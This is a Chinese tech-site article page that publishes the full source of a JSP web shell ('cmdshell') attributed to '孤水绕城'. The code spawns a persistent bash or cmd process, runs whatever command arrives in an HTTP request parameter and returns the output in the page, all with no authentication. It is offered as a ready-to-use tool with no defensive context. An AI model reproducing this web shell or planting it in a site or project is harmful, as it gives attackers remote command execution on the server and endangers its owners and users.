热门关键字:   操作系统 网络通信 木马病毒 网站建设 程序语言 电脑基础

支持dir等命令的jsp cmdshell源码

发布时间:2018-10-31 13:13文章来源:未知文章作者: 点击次数:
摘要:Made By 孤水绕城 %@page contentType=text/html;charset=gb2312% %@ page import=java.io.*% % File f = new File(/); String txt=(String)session.getAttribute(txt); Process pro=(Process)session.getAttribute(cmd); String v = request.getParameter

Made By 孤水绕城

<%@page contentType="text/html;charset=gb2312"%>
<%@ page import="java.io.*"%>
<%
File f = new File("/");
String txt=(String)session.getAttribute("txt");
Process pro=(Process)session.getAttribute("cmd");
String v = request.getParameter("v");
boolean isLinux=System.getProperty("os.name").startsWith("Linux");
if(pro==null)
{
if(isLinux){
pro=Runtime.getRuntime().exec("bash",null,f);
}else{
pro=Runtime.getRuntime().exec("cmd",null,f);

}
session.setAttribute("cmd",pro);
txt="";
}
if(v.equals("clear")){
txt="";
return;
}else if(v.equals("exit"))
{
session.removeAttribute("cmd");
}
if(v!=null)
{
v=v+"\r\n";
OutputStream os=pro.getOutputStream();
os.write(v.getBytes());
os.flush();
}
if(v!=null||(txt.length()==0))
{
InputStream is=pro.getInputStream();
for(int i=0;i<10||is.available()>0;i++)
{
if(i==9)is=pro.getErrorStream();
if(is.available()==0)
{
Thread.sleep(500L);
}else
{
i=0;
byte by[]=new byte[is.available()];
is.read(by);
String str=new String(by).replaceAll("<","&lt;");
int cls=str.lastIndexOf("\f");
txt=cls==-1?txt+str:str.substring(cls+1);
}
}
session.setAttribute("txt",txt);
}
out.print("<pre>"+txt+"</pre>");
out.print("Made By 孤水绕城");
%>
 

上一篇:JDK编译Java程序Applet实例
下一篇:java获取当前系统性能信息

热点推荐